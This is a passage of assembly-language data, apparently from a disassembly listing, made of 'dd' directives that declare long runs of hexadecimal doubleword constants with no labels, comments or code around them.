8ED090FEh, 67217123h dd 42FBA23Ah, 416008C4h, 84031040h, 0B84AFD0Bh, 7BAD0C50h dd 42847F29h, 282C28A7h, 424FC022h, 0F2FB111Bh, 9929C070h dd 3F3D0447h, 69181E07h, 81608E4Bh, 0CE8554h, 0E15DE341h dd 89C68AADh, 98D08800h, 917BBEE7h, 80A500B5h, 0AB9E486Fh dd 690059CDh, 8742CFB6h, 53B8CCh, 0D389721h, 10843CE4h dd 70C9F04h, 0CCA2594Dh, 87C68800h, 0A295049Eh, 12017A7Ch dd 0EDC83766h, 0C460F4DBh, 57A1001Dh, 82FAFFB3h, 2AFBAC60h dd 0F9C44A0h, 0B45C0A8Bh, 0E8728520h, 0C8F06EB1h, 18E6E900h dd 579B4E6Bh, 5E5F00A5h, 17591B05h, 6012FD40h, 145DB21Dh dd 0F4A9B800h, 24883E1h dd 0CABB88A3h, 0BB602F30h, 0C09FF9C7h, 24DA461h, 1B5BE71Fh dd 3858B324h, 5C743C10h, 0C059B910h, 490E2133h, 97835013h dd 3A37005Ah, 0BD886F9Dh, 3400E728h, 0A26DD7FEh, 4B10B30h dd 91AEDD9Ah, 5ECE278h, 657EF9ABh, 0BDE7FCC0h, 38CE79F4h dd 0A4AE5C61h, 52B100C8h, 49C40E0Ch, 6341100h, 0EA42C505h dd 629B0FF6h, 6EA0B02Ch, 4D5597BBh, 6DD47200h, 56642A78h dd 0CDCE037Fh, 0A13DD786h, 0E9C6ABF8h, 0BE6A8500h, 25081CC4h dd 32FE00ADh, 9F633656h, 0CF0088B4h, 0B2AED18Fh, 1BD1631h dd 0DA12A269h, 81B97809h, 74EF8120h, 1C717EC7h, 0A9E330h dd 5B594197h, 7A164807h, 60884A51h, 46008FDDh, 0D7AE0ABCh dd 0F76A0612h, 5CE4104Ch, 0A4028161h, 1B067C08h, 2B378BC0h dd 1CF8AF48h, 3F53D9h, 146E6DD5h, 867DC1h, 401F18A5h, 5B280BC4h dd 0E27C63FEh, 76A62900h, 496B1EEh, 75D80007h, 0C3E7FCDBh dd 1C03333Dh, 43ADC632h, 1927C91Fh, 0EC82C03Dh, 1CD09068h dd 8B0066E2h, 0F3AC9AABh, 2C5454Bh, 0D14C2902h, 0A8787E03h dd 99F16F00h, 9700136h, 2D775CD6h, 0A3601801h, 7073E027h dd 0A85875C0h, 0BC8E0125h, 0C026A043h, 3167CCh, 0A7F12A1h dd 0BFE025ADh, 0BFA530Bh, 0E3946187h, 2A78A60Ch, 0E056D73Fh dd 0C702EEA0h, 887F003Dh, 4AA6D3ABh, 294A65FFh, 0B73AE800h dd 78E4BD8Eh, 981F096Ah, 0BC00FB6Bh, 23FC4F15h, 4869400h dd 0EEB06F42h, 0FF47006Ch, 1763C127h, 30019F2Ch, 730F8474h dd 9ECC3324h, 0C740C0FDh, 0B251AD4Eh, 5F6268C0h, 480E81D5h dd 150334A9h, 889ADA5Ah, 52BF9E98h, 9D007579h, 32F15BEBh dd 22DDE9h, 42EC74E6h, 6D0717A8h, 0A9CD6F12h, 1432E500h dd 91A03453h, 0AC43F400h, 3AA4725Eh, 9A00E4D2h, 7D4D7896h dd 0F437DC11h, 9F4F00EDh, 33B99034h, 0D8006DF3h, 0CB06EA08h dd 0E15744h, 0D99895BCh, 0D4BE8A01h, 166E8900h, 6F3FCA56h dd 0CC49020Dh, 247B232h, 675B3840h, 1A1C4203h, 0D3A2DEF0h dd 818000C7h, 0E32188FEh, 0B00A18Eh, 0C011A392h, 7BA2C1D3h dd 6DE81Fh, 7558FE37h, 0DEA3DD5Ch, 640081E6h, 720A5213h dd 0F88B62ABh, 0DC9A3F9Ch, 86D71Eh, 0C0D5E94Ah, 2D0184BCh dd 0EE9E2FD8h, 382090F1h, 0A4793Dh, 34924316h, 0CC7B508Dh dd 0D8F8AB00h, 0D1079AEAh, 0ADE4FDh, 7541A51Ah, 9FB2B47Ch dd 0CA517400h, 0B964C3A3h, 3CC27E4Fh, 7BACDB85h, 77B4041Ch dd 14A4C884h, 52F93B00h, 290B99EFh, 0E04D0E09h, 0C5E773B0h dd 5EFC506Ch, 6B00402Dh, 41BD7143h, 3E92F33Bh, 0C28106A0h dd 0B1FECA84h, 0CE46C442h, 0E107C3EAh, 8DBCBA39h, 10DC8610h dd 0FEB90043h, 4976A1Dh, 550FB147h, 60E45F83h, 0EA4C0354h dd 344E0E12h, 471DCA9Dh, 31CEE663h, 64B5A345h, 0A648EF24h dd 284A3074h, 0FEE79077h, 4DBFEE70h, 0C30104E1h, 8C590D8Dh dd 17BBC01Eh, 606558h, 0F78AC9A0h, 169CE8D8h, 68037Ah dd 3C2BF964h, 0DF000821h, 0AB2C38FCh, 3A741C2h, 2B175FBh dd 3E8ACDBh, 88C78C78h, 92E094F4h, 48E83B7Ah, 4A01FCC5h dd 0BD33AAF6h, 3EA869B1h, 0AB4C8039h, 0EDCFA70Ah, 7AD00007h dd 1CF0D95Bh, 0BF0F9228h, 1E068208h, 527C58E8h, 6FB68D00h dd 1530BC69h, 76EB38FCh, 0DE1AC880h, 0E19E112Ah, 6CF46401h dd 0A6F088CEh, 0FD0030h, 9AD45C1h, 0CB796822h, 807637Eh dd 9C46E2AEh, 0F945C750h, 0AAFC135Ch, 4E880058h, 37FD1EBh dd 740DE501h, 0B88411F7h, 9E4FE880h, 0F5545395h, 68C83E03h dd 80C049EBh, 1355D9h, 15FE3A1Eh, 0C41044B6h, 0A0808400h dd 0C8F2A1B0h, 5B4000Ch, 255604EFh, 0E500E0E6h, 1283F433h dd 72CFE8D5h, 20D8B708h, 2DAE2C00h, 65E22016h, 77E656h dd 6D3F288Fh, 8B903B1Ch, 0CA4C7D00h, 0BF6EC9A5h, 0F6FDEB49h dd 92B6D8h, 4791055h, 0B9B531F3h, 0AED48407h, 1F60A3F4h dd 7F8AFD41h, 0EDDF0069h, 5AEC6CCAh, 0D53E0BCEh, 300C2498h dd 1B1D0780h, 0B451CCF4h, 0CF0600FCh, 0DD14F838h, 91962A03h dd 0E92D8DE7h, 2B339Ch, 66192804h, 2B0BA432h, 807D5885h dd 5D5968ECh, 0F0FD67A8h, 0D06074ADh, 9C529068h, 231FA501h dd 0EC09223Dh, 0BEB5EE8h, 312D49CEh, 0BF0E7F80h, 0CA045513h dd 3D5EC87h, 0BC5164E0h, 42984250h, 0DC793041h, 0E10FD3D0h dd 201DE772h, 146883A4h, 718800B1h, 0A99559EDh, 0B300BDD3h dd 4638482Ch, 5273D8Fh, 0D71C5217h, 0C03080CBh, 0CC196BE4h dd 28B811F5h, 0D35BC8h, 0A4AEB456h, 62199C31h, 48DCB64Ch dd 2F60220h, 8BC8BBA3h, 0A7EA01C0h, 207197D7h, 2084E5D4h dd 0B9025B4Ah, 0B511A273h, 2187C00Dh, 0C5A6011Dh, 0E8E03FF9h dd 72C620EBh, 0CB82C32Ch, 0E0B8500h, 0E22476EFh, 0FBD50078h dd 0DDA2801Ch, 9900A651h, 1F5C5EE5h, 95BB44E3h, 0FEC06498h dd 8989A7Eh, 0ADCD832Ch, 0F3A7A200h, 3EAD9021h, 0B7801A60h dd 70456604h, 30984138h, 0D4B28513h, 0CE5B2440h, 5479C35Eh dd 2CB4ABh, 0F4347BA9h, 4A04D219h, 0BF41F100h, 0AFD0914h dd 1F270736h, 506DF8CDh, 0B2E25ADEh, 1CAB8CA0h, 6CBBB300h dd 26F890C6h, 859D004Ch, 0D0025E29h, 7100CB97h, 5ACAC878h dd 50F5E0F1h, 39F88Bh, 40A223A0h, 6C893897h, 0A700D0F4h dd 0E6EEE4F4h, 0B081BD03h, 80264AD9h, 5EB878D0h, 55709409h dd 0E5DC20C7h, 0B79AE4Bh, 40AFD781h, 73180401h, 0E17100B8h dd 6E222F3Ah, 8C6B0000h, 0EC0041B5h, 0B94AFEB0h, 1E322ED2h dd 0C22113h, 0D8A7C86h, 717D3FBFh, 0C305BB07h, 22521F74h dd 3AA8C08Dh, 5E4D1707h, 0E6BC8021h, 61C06A18h, 26FA1DCDh dd 4A9E1597h, 3A14B839h, 0F0009720h, 0BBB45AACh, 0D907E7A5h dd 6E69EEFCh, 251FCB10h, 99270055h, 0F81BDAAEh, 0E800D631h dd 54A82C6h, 0F76DCFh, 88A8F0E5h, 0BA7DD85Bh, 63C6D912h dd 0A4766800h, 0EC42ED5h, 2D8C9F51h, 0E2E54201h, 9EE230D4h dd 0B7E69712h, 0B894F0h, 0B687C621h, 5142FB53h, 2DADDA00h dd 67F80A14h, 8044B066h, 6827F0h, 36591AEFh, 0D1C92F9Dh dd 5C956919h, 0E4709E10h, 51DF00B1h, 0F8CA2A3h, 88009F20h dd 0DC6CB597h, 754555h, 0D2C9C4FEh, 94F3D569h, 43F40091h dd 402A254Fh, 3CFCBCh, 0DED13102h, 0BB856325h, 2F308A72h dd 6EA4AAC2h, 0C9210EA7h, 62400D86h, 189AEDCBh, 31AA8907h dd 0D210D77Ch, 5133B96h, 9C4564B8h, 99DC908Fh, 0ECBC4067h dd 0F1085705h, 328CF0h, 8BAABD0Ch, 0D8B74AA2h, 0FCCDF300h dd 84D06D7Dh, 917C001Dh, 0F3E1874h, 0C305ED83h, 0C9F225A1h dd 6AEEE803h, 0AA1698DCh, 4E6B3h, 73FF5860h, 0A49B5DFEh dd 800F773Fh, 62F8CC86h, 136D55D1h, 0A4985042h, 93001A60h dd 26990221h, 40343B8h, 0F8A8ECF1h, 0C0CC87ADh, 9A2BE51Dh dd 72E60400h, 2444755Bh, 20D2C01Bh, 0A1225921h, 83F00213h dd 924D2440h, 169EFB0h, 55F30D3Ah, 0FB8B0544h, 0A4A9F0A8h dd 0B842F800h, 972B2D1Ch, 39307E39h, 7F01335Bh, 5E6A4EBFh dd 0DA0AF057h, 7F2EB0Ch, 10A876h, 6FB786E0h, 4287C866h dd 0C2A6FA09h, 0CF9C60B1h, 9831146Ah, 12FB05Eh, 901BDC05h dd 977854B4h, 2A83A600h, 16C58C9Bh, 0A4F40029h, 5F724F7Fh dd 2401AD0Ah, 7FA0CFEh, 4060CBF1h, 808DFAC1h, 8C4A6C0Dh dd 26EA6CC0h, 6379C016h, 4FB158DAh, 0CA84000h, 7FCFED66h dd 829A00BEh dd 58AB3265h, 1F001DA1h, 0FDC9AA15h, 2F3E037h, 4D17EE3Bh dd 0EEE023F8h, 0AD00BDA4h, 21AA93BEh, 0F0CD87CCh, 8C720071h dd 6AA1B743h, 9A024FB4h, 0A650933Fh, 209C46F4h, 0DD008EEFh dd 0E33A4004h, 2754EAh, 456C618Fh, 370A3F99h, 1D30A500h dd 0C57BCD72h, 0DC13001Fh, 54B84CD4h, 0C30064F1h, 0EF5C842Ch dd 1028909Ah, 94983FAh, 51339794h, 10E6030Ch, 0BE98E10Dh dd 0FD06D9C4h, 1FCD02E3h, 0B4C1001Eh, 8F477EC9h, 0DD0088FCh dd 914FB60Dh, 328ECB7h, 64735227h, 0B8E8AA05h, 324547Fh dd 0CC08A086h, 67E98296h, 962B93E0h, 1E6B3078h, 829BB211h dd 6CCF754h, 0D20F4612h, 5C830041h, 0F8D1DDB7h, 29F02180h dd 7A338B0Bh, 601CB502h, 0E8719D19h, 38E0BCh, 56983CCEh dd 17D3B6E8h, 74C7E1F7h, 0A300456Ch, 808CB71Eh, 2E6957DFh dd 40185310h, 3EC387A5h, 5C5A7800h, 804520C1h, 0BF9C09B8h dd 0B000CC98h, 73B5902Ah, 0BCDE801h, 0C4EB1596h, 0F008078h dd 149D5305h, 80EFF3Bh, 9072B28h, 522202C0h, 547660DEh dd 0D7880276h, 7EF64404h, 8ADBE0F7h, 4D740043h, 6B163B91h dd 0A51827A6h, 15B8F570h, 0C80E5CA8h, 6F878E3Bh, 20BEEF51h dd 1E20F1E1h, 1CCBB300h, 2BD38019h, 6FE92C09h, 59D7002Ch dd 0D26DAE0Ah, 455F18C0h, 0B8D03FECh, 0B7F866h, 3D3BF51Eh dd 0F1493C07h, 400EC400h, 69371DD8h, 0EFEA0293h, 1A522C53h dd 861742E0h, 0D5AEEC00h, 34799662h, 50935C9Dh, 0C0A17C16h dd 4A5D2B4h, 0E5CB8C41h, 0D58174D4h, 0E450FBB4h, 0C22F7h dd 0DFD07B27h, 0DA013921h, 52E67700h, 9D389A26h, 74C50323h dd 70C365F4h, 47E920FFh, 0C803FCA0h, 0D96B1BEh, 350A6A2h dd 731E81BFh, 7813725Eh, 0C8915A46h, 3034997Dh, 9F9838B4h dd 0FDF52880h, 143B65C9h, 548FFF01h, 4AA0C5F7h, 0DC42BC0h dd 0F0298C74h, 66934039h, 80971554h, 93974FFCh, 0ED9438ECh dd 0A5C85A00h, 72C7236h, 87F5Dh, 0B0A2C198h, 0B5348Ch dd 0C08F3AAFh, 0E78D6812h, 443E5E00h, 31983552h, 4BCA006Ch dd 3A890D0Fh, 420107BBh, 8B62B17Ch, 65E011D6h, 295B001Eh dd 0CAEC6176h, 6E00BAABh, 0C99B2234h, 9B4B5C8h, 5FE0F9DFh dd 47F4BC80h, 1FF2FDA7h, 0B68DE216h, 0FC280Fh, 0A0940B88h dd 484600F1h, 65F2F008h, 0B4391ECAh, 0BE42003Bh, 77E55E5h dd 1A96177Ah, 150123Eh, 0FED612EEh, 9048C84Eh, 5A63AE00h dd 2BCDAA0Dh, 26B0006Ah, 0D9205818h, 810A9D3Ah, 0D0DD13DCh dd 0A47E2401h, 0C9D003D4h, 80B46Ch, 2C99ADC7h, 660B75C3h dd 5A456Eh, 0BD4B1100h, 0A3A20371h, 0EB90A0B3h, 447047F8h dd 0B938AB1Fh, 9CA9FA03h, 6C2F90B2h, 81DCBA33h, 1C8E481h dd 0CCF807D6h, 9090C72Bh, 23AE24B5h, 41FDC103h, 9060690Fh dd 2B831E5h, 0B2589A78h, 0DC480D15h, 6020925h, 0EE95C139h dd 58A4604Eh, 0EAF84833h, 91483500h, 0BC7BBB15h, 96290A03h dd 98FBE9D2h, 2CF21Dh, 7E8108C5h, 755A8C0Dh, 2D031700h dd 70AC34BCh, 0EA361222h, 0B33600D3h, 0DC206F1Ch, 3C97B00h dd 3FBA13C4h, 123509B5h, 0DC044EF1h, 268C7EAh, 0B0604797h dd 50BCB975h, 18C03093h, 909DF8D2h, 9BA61E88h, 1880E720h dd 0A821ED57h, 548A3400h, 8E439F2h, 529C003Bh, 24FF3AFh dd 75109B71h, 0E8018460h, 56A992EEh, 0B0022F8Eh, 68D5B061h dd 5CBED8h, 1E145D97h, 0C2291288h, 0AB4DB800h, 0DCBDECD1h dd 2CE6D2h, 25716CA5h, 0CF88A3D8h, 8492C800h, 0FF55E85Fh dd 61D50086h, 0A7E26C4Bh, 0DA6E2E7Bh, 0E0808F29h, 158AAD38h dd 4900068h, 7498EF67h, 7101AC9Bh, 0A25609CBh, 0E0C03A06h dd 0F9F70F22h, 16E1E96Eh, 0C43991C5h, 0C2062C90h, 618EAA52h dd 0EB730049h, 76B95BA4h, 891C91F7h, 0E60483E9h, 9483E521h dd 9F580264h, 95323539h, 2D125BC0h, 26B6A000h, 1CD383B5h dd 0B13B0170h, 1F3E8B23h, 0C060E639h, 6FF29ADBh, 47CD600h dd 0DD72F365h, 0D9534C86h, 95FA5D0Bh, 91302852h, 5E4DB9C7h dd 1896F6F8h, 8051FC30h, 0ED00BD1Dh, 37684C38h, 74D162h dd 44C54AC2h, 3BF8581Fh, 9C4E3407h, 87F038ADh, 535A64h dd 40F7554Ch, 28B71C65h, 0EB0F6317h, 0A0961300h, 93A812h dd 39526B4h, 2208FA5Ch, 0C16691C5h, 0E6C590ADh, 8C11C196h dd 20AFECECh, 0D3F0C20Bh, 4ECD0015h, 997A47h, 0F3F725A2h dd 8557F65Ch, 6F480500h, 1A71EFB0h, 0DF82006Eh, 0C08B434Bh dd 9C30C5B7h, 0E6482049h, 2D95009Eh, 74DC0CF8h, 1700C987h dd 300FFF2Ch, 0A8EDC8h, 0C406A114h, 7D1B133Fh, 641F4E00h dd 7B50B88Dh, 51830019h, 0A781F78Fh, 6D01422Dh, 0A897F412h dd 3D0A948h, 7CAF1F29h, 4E92498Ch, 0D0E74C85h, 30F0851Ch dd 1ED04B00h, 12CD68B0h, 7009FC89h, 24CF48FDh, 40438E17h dd 0DC0F3EC4h, 5D0181CDh, 97FAC622h, 0C8204263h, 91CE00EDh dd 6DDA0A0Fh, 0E900F613h, 8C2E2BE5h, 0E4EC9D6h, 86D8A999h dd 5A3712A0h, 0FC03EDDAh, 0DF667BD1h, 0F73CE9E8h, 1E41AAD4h dd 0E6A68F0Bh, 403000E4h, 5368B926h, 0FCC6A107h, 9B0079F3h dd 4FFB203h, 1D64DE7Ch, 0F0B4F423h, 0E0425527h, 1EBAA5F8h dd 84DDAE18h, 9040A808h, 2B39C530h, 75D51407h, 0CE1369BAh dd 0C080ACD7h, 1D21AAC0h, 404EC194h, 154B1F4Dh, 0FE4A96C2h dd 0CAB67880h, 521610A2h, 2C2079F6h, 2AB00545h, 0D3C57E3Ah dd 31E8CFE0h, 0F13E2480h, 439300C0h, 0B44CDE05h, 967C018Dh dd 0E4125499h, 4E308E41h, 73EDE09Ah, 0DC113Ah, 8CE90558h dd 956B930Fh, 530046FAh, 0A4D009ADh, 397AC8h, 0BC372DFBh dd 61E5B687h, 0C0117D2Dh, 5D5A2094h, 0ED3E2457h, 21C14B00h dd 1FD53925h, 4EC8E800h, 2B0C1E2Eh, 5B300115h, 0C122C0DAh dd 2825C4CAh, 829F182Fh, 0C8B52DA8h, 0A41A24h, 7C0ADFD5h dd 5AE8E70Eh, 61752703h, 31D626Dh, 0D63094Ch, 598FF24h dd 0D894D7C1h, 51BF4F00h, 2C4898E5h, 42C5733h, 0F9D52744h dd 6AE301C4h, 0B21DA5E0h, 4F57F670h, 0C680805Fh, 1C00303Ah dd 888086CCh, 0DF6A64h, 56B17AC1h, 0FEABF3A1h, 7D9ABA00h dd 9C6F675Fh, 1E87A58h, 0D536E7A5h, 30B4559Bh, 191F96E0h dd 838491BFh, 648046B9h, 3C14C1Fh, 112247A7h, 0E6D83D0Ah dd 7A078ABEh, 7B70EF0Fh, 570EBAA0h, 0F74300CCh, 0EEDBCA13h dd 0B90069F1h, 1787E8A1h, 0C3EF602h, 881C9C22h, 8E007110h dd 6DFD39B3h, 0EEE14D4h, 0B019CB6Eh, 0C8F6C4A2h, 0EA01847Eh dd 5C54B6DAh, 12002428h, 55D956C2h, 0DF13B26Ah, 0DC37ABA9h dd 0D6198200h, 69E82E0Ah, 52D40260h, 487EA3A6h, 2128803Ch dd 1019DF0Dh, 0EC6270FEh, 6F920153h, 132FDB82h, 4C433A52h dd 985A10h, 27037B79h, 2AA44016h, 64DBBC05h, 100343C2h dd 1416E13h, 0B890C139h, 0D088D8EBh, 2314DBBAh, 2C4613h dd 0C982BC5h, 73706959h, 7CCE80Eh, 16EBA656h, 64EF50CFh dd 0B2000FADh, 9FC03AD6h, 0A95CBFh, 8396FE42h, 4F0AA229h dd 4B519000h, 608E0C67h, 73080082h, 0AFC19796h, 2900F702h dd 95A74AB3h, 6FA07E7h, 65EDDCCBh, 0DB0088D7h, 4110B868h dd 3AE89869h, 123030C2h, 5DC42910h, 0B302B0ECh, 5C7142Fh dd 8144769Eh, 0C190270Ah, 3AE8BC70h, 0C3BF0AD8h, 0BB408848h dd 9A16AAh, 35660994h, 0AF267D84h, 0F677CC7Ah, 0C0EC139Dh dd 597F3Fh, 71C5E880h dd 184FD05h, 940342FAh, 4032759Dh, 0F50F900Ah, 258A1F70h dd 0B0EA4111h, 94553CE6h, 0E47CD2h, 78241FE1h, 1B87E4h dd 484D7E73h, 0EF0A0280h, 6220500Fh, 0C081EE15h, 7B719E91h dd 1DB7005Fh, 1859DB8h, 0BB004C72h, 69291AEBh, 1466F0h dd 0A20A73ADh, 0F454A0C1h, 81F9B93Ah, 5AB2F20Eh, 0EC50526Fh dd 7808C93h, 0D962AC2Ch, 0A6AFE00Ah, 130B27C3h, 0EBED205h dd 2282A2A3h, 35948279h, 6698A0E7h, 3EB8469h, 0BB9B3B92h dd 1198654Dh, 517D12D3h, 0DC5C251Fh, 0FA2342C0h, 6B1486h dd 0D2DE02BDh, 0E965C49Ch, 0C12EC000h, 0C642DC40h, 25B300F5h dd 8441386Eh, 471D1F74h, 0BDC359A3h, 0B8BBFB66h, 76F13B5h dd 6C1D73B2h, 0E797D05Ch, 0AD60341Ah, 2CBC5E99h, 311002Dh dd 900A3376h, 7C07C394h, 7A26FB5Dh, 13C4F730h, 0EC7F005Ch dd 8598799h, 49018833h, 9B0C018Dh, 0B5C86066h, 7DE11E8Eh dd 794C03A4h, 0ABB8D82Ch, 0F6003ED7h, 0CB76E5A9h, 1D16362h dd 6AC00154h, 30C9B76Ch, 20D2A86Bh, 9A63D600h, 321674h dd 6D2A1120h, 5CF73393h, 4306E5E2h, 75D85869h, 39BF0060h dd 505E76FCh, 10A08BF3h, 121BDD84h, 2379EBD8h, 3601D388h dd 2154CD63h, 3520E619h, 0B663D8h, 0F3281AC6h, 2EAE88FBh dd 11FEEC1Fh, 1353FA83h, 2E7078DFh, 3D8335h, 249ECE7Ah dd 0D918EBBDh, 96817104h, 0D4360103h, 20D66753h, 880998F4h dd 0FADBB621h, 34EF3EDFh, 58863598h, 0FA0C5D84h, 108C5173h dd 0FE1D00ADh, 1A9EDB8Ah, 0C6008BB2h, 0B891C8D7h, 3D3E7E39h dd 500ECF4h, 8E980E01h, 0D40071A5h, 0D35E5A04h, 7E287Dh dd 1B2B093Fh, 0C41CA452h, 0B1562206h, 0D2F8EBh, 87A0798Ch dd 0D452EC5Ch, 55D1BF00h, 854A46A2h, 97630017h, 5369F524h dd 8900A762h, 0E0B039BDh, 215FEFh, 0CF81A2E8h, 732483E1h dd 0BDEE3Ah, 0A3D06B0Bh, 0EEE305EBh, 475A073Fh, 0E0D59AAEh dd 0EEF01903h, 90C5F500h, 0BF978187h, 0F43D29A8h, 61785704h dd 192D02BBh, 0BD394E55h, 478610A1h, 3C108FAFh, 0EB6FC546h dd 0EC406087h, 0E4C70AEh, 877D9735h, 3075A6E0h, 14A07E3Ch dd 0CB886EDBh, 88A892Ch, 0D7374405h, 2EB42284h, 447DE642h dd 22841303h, 62742280h, 455F4040h, 1B10CE61h, 413E891Dh dd 1367C228h, 414FA48Bh, 0A59A18B1h, 886A4429h, 0F1886847h dd 41368931h, 1369F328h, 68791F03h, 3D2B401Dh, 363A2302h dd 0F029C03Ch, 24351C00h, 2DFACDADh, 8B1B00B1h, 784962BFh dd 821B1DB2h, 0E009BA90h, 0FEB1811Ah, 8F270083h, 0D83DD508h dd 5B002BB6h, 0FD85426Fh, 265C3369h, 32C1D32h, 0EDBF0FA5h dd 771F10D8h, 74033BE4h, 0E2685FA0h, 0DBFEF8E5h, 1C0C0739h dd 71305689h, 47F49A72h, 468EC0B9h, 16F87AD3h, 46C413Bh dd 0FF96C131h, 80700897h, 38D8AB46h, 5800F3F7h, 23181EF0h dd 0ACE86E47h, 0BC357A00h, 0BF9EB7AFh, 4BA300EBh, 4F5F89A6h dd 6F1C7C2Bh, 7A400EF3h, 9B207B33h, 988207EAh, 63342229h dd 5F3EFD4h, 94D52100h, 96A30D72h, 0DF7112F9h, 0BB5C45C8h dd 0BEB9C324h, 84DB1888h, 0AD29903h, 0A0154F2Bh, 175A3Bh dd 68709AFFh, 7C272918h, 74F4D80Fh, 0D5877E43h, 9FF08FFCh dd 3C123161h, 0F000DE72h, 3D071F79h, 0E3005D0Ch, 0FDFCA74Ch dd 3CDD2AD8h, 2080DC54h, 30D7B5B4h, 0E00592Dh, 6FA3EA0Ah dd 7A101CBh, 7A83BF9Ah, 2992505Fh, 0FC00C38Eh, 78C00703h dd 87BE65h, 5DF54C0Ch, 0A96D4BF4h, 5E8E2700h, 9BFFBDF7h dd 0FDBF007Dh, 10BCFB2Bh, 6403D02Ch, 540351C3h, 67A580DAh dd 0FCBF00F5h, 66774408h, 603470Eh, 3C2D0C1Bh, 8039E36Dh dd 393EF369h, 0CF006A09h, 0CD5D2053h, 560DD976h, 8215ED6h dd 454F8F0h, 38E7AEEFh, 0F134807Dh, 2E12F2ACh, 2005741h dd 173C71DCh, 995A0781h, 27C8B748h, 5BE04FD6h, 733F8E16h dd 57F78A00h, 0BB4A93Dh, 7594126Fh, 0CB08387Bh, 3F3B5000h dd 0EE47A0C3h, 0F03400C1h, 0DCF62317h, 0B479EC8Ah, 0F96FC701h dd 7374D243h, 30803DE9h, 0C6CF53B2h, 609D917Eh, 0F46C6Ch dd 1555D340h, 0E5A2191Fh, 0BAA13D00h, 71F01AD5h, 1C6D4992h dd 0CC93120Eh, 9E2F1440h, 650079BCh, 0BF8A3A25h, 9C8118h dd 553417B8h, 848FFF7Dh, 8E4EA300h, 0AE6C8638h, 911600F5h dd 0E677C00Dh, 0FD00711Bh, 92734A25h, 0CF75CCh, 9AC1FA55h dd 0DD29533Eh, 8F870400h, 0ED2FCD60h, 1197451h, 0FD02A7D2h dd 0E8F2B2FCh, 252E63EEh, 803ED274h, 182178E3h, 0EAC8E69Dh dd 27EB0097h, 35950EAAh, 86180C8Eh, 42D094F0h, 751901F3h dd 8C72BC44h, 8E14F846h, 708A2C1Ch, 17F13880h, 1DFE9F8Bh dd 80D0E5DAh, 90C97821h, 0C86FA0DCh, 83009D08h, 0ACB33DA7h dd 7BD60044h, 5DF981F7h, 0B91E4796h, 0BD39AD31h, 0E113F15h dd 4277E451h, 4073175Dh, 39996188h, 504C607Eh, 0EEDC9A80h dd 0F100E00Bh, 1A3287AFh, 0FA86DCBh, 273A2835h, 0C08A417Fh dd 0F4F86C76h, 5005881h, 13701618h, 0D69AC2h, 4B55B42Ah dd 60EADD65h, 44682900h, 23195E2Fh, 0FC080396h, 0EB4D1195h dd 0FED5D9A0h, 51A0C501h, 7A13CEADh, 7EB070h, 0B7D1EF86h dd 0B5053DEBh, 0F47C472Eh, 0A8E71900h, 314FEECh, 9D341523h dd 97B867A1h, 50008B29h, 5F52A27h, 0F8D56113h, 1DEA0399h dd 30083FD3h, 0A53AA000h, 0F8E8F91Eh, 747B023Eh, 5CA27964h dd 19BE4C40h, 16825958h, 1FFC0B54h, 0DD28FF30h, 4C300DC1h dd 0EC4D39EDh, 0CB223CDAh, 37115CC8h, 0CAD0255h, 63A1DD42h dd 69AA985Dh, 26AF0097h, 3D09245Eh, 72003570h, 27A6DDE2h dd 23959B0h, 71162E85h, 0A86031EFh, 589DF444h, 2A4E00C4h dd 776E2351h, 82033B45h, 8172E42h, 3EFDE8FAh, 744773B9h dd 25BC1B78h, 9AD8405Dh, 693077B1h, 785F98F5h, 25EC6Ch dd 3EA3BAC4h, 21BDFE47h, 8AEE18B0h, 0FA7A7101h, 0D84E8D72h dd 0D2AED0h, 0B064A3C6h, 0E888E665h, 0B7F09900h, 3E24E2FFh dd 4B34005Ch, 34585CAh, 0C30981A0h, 801AADDFh, 3163645Dh dd 6CC200A3h, 0FA62F337h, 0A1011FCBh, 2B25C101h, 0B8F4ED0Dh dd 10C460E3h, 6B41F580h, 0D50A6A01h, 0E809265Fh, 0A52420h dd 0FB6D7C87h, 8493258Dh, 7733E003h, 0E1165342h, 5960FDB0h dd 0D03C604Dh, 0CFFCC854h, 0E0B8AF28h, 4BEB200h, 11BB9C34h dd 0FDF0FF38h, 0B34300C1h, 953E5BE7h, 390D9EDBh, 9A6CCAEh dd 4AD9820h, 0B21F066Dh, 49B8C082h, 0DA0F4A44h, 40307EC8h dd 0C3C2F213h, 0B2B70031h, 0C65C686Bh, 6E0F0CB1h, 1CF82D79h dd 51314DC0h, 0F35A72h, 9D80022Ah, 65D2FFD9h, 0CEB4B0Fh dd 46B661AAh, 0C2300B68h, 4598A0BCh, 0D97E00ECh, 0B37F166Eh dd 78003D2Ch, 19A7CDE0h, 3D92F1EDh, 0F71F98F5h, 0FC71C026h dd 0E6FF1BDFh, 41A46E00h, 53881C13h, 0EA1E010Fh, 54772F3Fh dd 508D60B1h, 0DFA5E501h, 7F2D739Fh, 0B3972180h, 0C8812757h dd 842E1C3Fh, 0AEC3D6E6h, 4C61AF03h, 9117F3D0h, 1B425F00h dd 77951AE2h, 892F01F6h, 0A1292D61h, 4E3C2065h, 3B48100h dd 3CB3B582h, 41B70185h, 55A3865Bh, 56B6FCA4h, 0E5EA79F0h dd 0E6DA30E7h, 82134A06h, 0FE09529Bh, 288A012Eh, 20741F21h dd 86B4DC17h, 718B8100h, 0D86E39A5h, 61730075h, 44963FBBh dd 0A1002703h, 14C226FDh, 632372h, 0E1501119h, 0E8A0C18Eh dd 3A092500h, 44744B8Fh dd 41940E62h, 0B6603C33h, 457B38E0h, 5C552900h, 80BD7A0Ch dd 5AEC0081h, 0AE9B98BAh, 0ACFA62F9h, 4137961Dh, 83E364C0h dd 2974EAh, 0DB52DD8Dh, 0BD6D3FDCh, 4F0E5578h, 0C0805F88h dd 10E175ABh, 626B00ECh, 0B11D2FA4h, 7D071351h, 85DCE08Dh dd 0F2B98C40h, 0F1390275h, 0FEC7324Ch, 3F9B48E0h, 37839CA0h dd 5DDEACA0h, 3C8D1F18h, 50C528h, 232E94A3h, 81E5F2F8h dd 0C128C91Eh, 0F0323000h, 587EA780h, 18807887h, 45AC7158h dd 0D627F200h, 5E7729C7h, 3FD102FFh, 2AB798Dh, 9ADAA882h dd 0C67F5C60h, 1DC0031Fh, 61DFE900h, 789C75h, 7392B543h dd 0AAA3E68h, 0F303677Ch, 1D64E6C4h, 0D761A0B4h, 5495306Bh dd 76EDF458h, 0A75AA317h, 0B75DA000h, 7808CD50h, 8255004Ch dd 1A7D96ECh, 0A2F63E16h, 2DBE691Fh, 9202031Fh, 435B53E5h dd 0EB1E90D9h, 0A9421C3Ah, 0F693C0BAh, 8AF43D85h, 6F061400h dd 3A08C3FDh, 2C100F3h, 